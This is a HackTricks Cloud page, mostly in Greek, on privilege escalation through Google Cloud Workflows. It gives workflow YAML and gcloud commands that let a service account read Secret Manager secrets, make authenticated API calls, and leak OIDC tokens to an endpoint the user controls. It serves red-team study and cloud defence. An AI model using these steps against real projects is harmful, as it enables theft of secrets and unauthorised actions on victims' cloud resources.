GCP - Workflows Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Workflows
Basic Information:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Από όσο γνωρίζω, δεν είναι δυνατό να αποκτήσεις shell με πρόσβαση στο metadata endpoint που περιέχει τα SA credentials του SA που έχει προσαρτηθεί σε ένα Workflow. Ωστόσο, είναι δυνατό να καταχραστείς τα permissions του SA προσθέτοντας τις ενέργειες που θα εκτελεστούν μέσα στο Workflow.
Μπορείς να βρεις την τεκμηρίωση των connectors. Για παράδειγμα, αυτή είναι η page of the Secretmanager connector. Στην πλαϊνή μπάρα μπορείς να βρεις αρκετούς άλλους connectors.
Και εδώ μπορείς να βρεις ένα παράδειγμα connector που εμφανίζει ένα μυστικό:
Παραμετροποίηση Workflow YAML για πρόσβαση σε μυστικά
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Ενημέρωση από το CLI:
Ανάπτυξη και εκτέλεση workflows από το CLI
```bash gcloud workflows deployΕάν δεν έχετε πρόσβαση στο web, είναι δυνατό να ενεργοποιήσετε και να δείτε την εκτέλεση ενός Workflow με:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Μπορείτε επίσης να ελέγξετε την έξοδο προηγούμενων εκτελέσεων για να αναζητήσετε ευαίσθητες πληροφορίες
Σημειώστε ότι ακόμα κι αν λάβετε σφάλμα όπως PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... επειδή δεν έχετε εκείνη την άδεια, το workflow έχει δημιουργηθεί.
Leak OIDC token (and OAuth?)
According to the docs είναι δυνατό να χρησιμοποιηθούν βήματα του workflow που θα στέλνουν ένα HTTP αίτημα με το OAuth ή OIDC token. Ωστόσο, όπως και στην περίπτωση του Cloud Scheduler, το HTTP αίτημα με το Oauth token πρέπει να στοχεύει τον host .googleapis.com.
Caution
Επομένως, είναι δυνατό να leak το OIDC token υποδεικνύοντας ένα HTTP endpoint που ελέγχεται από τον χρήστη, αλλά για να leak το OAuth token θα χρειαστείτε μία παράκαμψη αυτής της προστασίας. Παρ’ όλα αυτά, μπορείτε ακόμη να επικοινωνήσετε με οποιοδήποτε GCP api για να εκτελέσετε ενέργειες εξ ονόματος του SA χρησιμοποιώντας είτε connectors είτε HTTP αιτήματα με το OAuth token.
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```HTTP αίτημα του Workflow με OIDC token
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Με αυτήν την άδεια, αντί για workflows.workflows.create, είναι δυνατή η ενημέρωση ενός ήδη υπάρχοντος workflow και η εκτέλεση των ίδιων επιθέσεων.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

